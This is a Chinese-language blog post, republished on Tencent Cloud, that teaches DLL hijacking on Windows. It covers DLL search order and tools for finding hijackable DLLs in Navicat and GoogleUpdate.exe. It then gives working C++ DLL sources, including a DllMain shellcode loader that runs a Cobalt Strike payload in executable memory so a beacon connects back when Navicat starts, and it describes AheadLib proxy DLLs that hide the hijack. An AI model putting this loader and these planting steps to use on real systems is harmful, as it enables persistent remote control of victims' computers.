前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >技术研究-从零开始学习DLL劫持

技术研究-从零开始学习DLL劫持

作者头像
hyyrent
发布2022-12-26 20:36:18
8310
发布2022-12-26 20:36:18
举报
文章被收录于专栏:安全学习记录安全学习记录

DLL劫持

DLL简介

在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

DLL加载顺序

如果程序需要加载一个相对路径的dll文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:

windows xp sp2之前

Windows查找DLL的目录以及对应的顺序:

  • 进程对应的应用程序所在目录;
  • 当前目录(Current Directory);
  • 系统目录(通过 GetSystemDirectory 获取);
  • 16位系统目录;
  • Windows目录(通过 GetWindowsDirectory 获取);
  • PATH环境变量中的各个目录;

windows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

  • 进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
  • 系统目录(即%windir%system32);
  • 16位系统目录(即%windir%system);
  • Windows目录(即%windir%);
  • 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
  • PATH环境变量中的各个目录;

windows 7 以上版本

从Windows7 之后, 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,该项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录SYSTEM32目录下调用,其注册表位置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

image-20221118105253508
image-20221118105253508

自动化挖掘

批量寻找劫持

https://github.com/wietze/windows-dll-hijacking

代码语言:javascript
复制
python generate_pmc_files.py
image-20221117095707116
image-20221117095707116

单个查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

编译完成后,把Prerequisites文件夹里的内容拷贝至ImpulsiveDLLHijack项目里

image-20221106204300062
image-20221106204300062
代码语言:javascript
复制
ImpulsiveDLLHijack.exe -path xxx.exe
image-20221106203957230
image-20221106203957230

这里使用navicat进行测试,可见运行的时候会加载C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

image-20221118165125109
image-20221118165125109

使用cs生成恶意dll,重命名为oci.dll后放置到该目录下

image-20221118165445223
image-20221118165445223
image-20221118165532420
image-20221118165532420

手动挖掘

Process Monitor查找可用dll,设置如下图所示

image-20221106144115621
image-20221106144115621

配置完可以保存导出配置,下次直接导入使用

image-20221106205731466
image-20221106205731466

使用GoogleUpdate.exe进行测试,运行程序filter加载所使用的dll文件

image-20221106211630253
image-20221106211630253

这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

编写一个基础的弹窗dll

代码语言:javascript
复制
#include <Windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加载到内存时运行
    case DLL_PROCESS_DETACH://DLL销毁时运行
    case DLL_THREAD_ATTACH://DLL线程加载时运行
    case DLL_THREAD_DETACH://DLL线程销毁时运行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}
image-20221106154203746
image-20221106154203746

弹计算器

代码语言:javascript
复制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
image-20221117114617895
image-20221117114617895

CS上线

cs生成c的payload

image-20221121094700513
image-20221121094700513
image-20221121094855454
image-20221121094855454

生成的payload填入到下面相应的位置上

代码语言:javascript
复制
// 头文件
#include "pch.h"
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}
image-20221121120230582
image-20221121120230582

运行navicat程序就会上线

image-20221121142304498
image-20221121142304498

DLL转发劫持

有时候当我们替换dll后,虽然可以执行命令,但是会产生报错

image-20221121153121508
image-20221121153121508

这时候我们可以使用AheadLib工具,使恶意的DLL将原有的函数转发到原DLL中并且释放恶意代码

打开工具导入dll文件,会生成相应的cpp文件

直接转发函数,我们只能控制DllMain即调用原DLL时触发的行为可控 即时调用函数,可以在处理加载DLL时,调用具体函数的时候行为可控,高度自定义触发点,也称用来hook某些函数,获取到参数值

image-20221121154116895
image-20221121154116895
image-20221121155015571
image-20221121155015571
image-20221121154954338
image-20221121154954338

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:/developer/support-plan?invite_code=1kvjv5bw3cr7k

本文参与?腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-11-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客?前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • DLL劫持
    • DLL简介
      • DLL加载顺序
        • windows xp sp2之前
        • windows xp sp2之后
        • windows 7 以上版本
      • 自动化挖掘
        • 批量寻找劫持
        • 单个查找劫持
      • 手动挖掘
        • 弹计算器
          • CS上线
            • DLL转发劫持
            相关产品与服务
            云开发 CloudBase
            云开发(Tencent CloudBase,TCB)是腾讯云提供的云原生一体化开发环境和工具平台,为200万+企业和开发者提供高可用、自动弹性扩缩的后端云服务,可用于云端一体化开发多种端应用(小程序、公众号、Web 应用等),避免了应用开发过程中繁琐的服务器搭建及运维,开发者可以专注于业务逻辑的实现,开发门槛更低,效率更高。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
            http://www.vxiaotou.com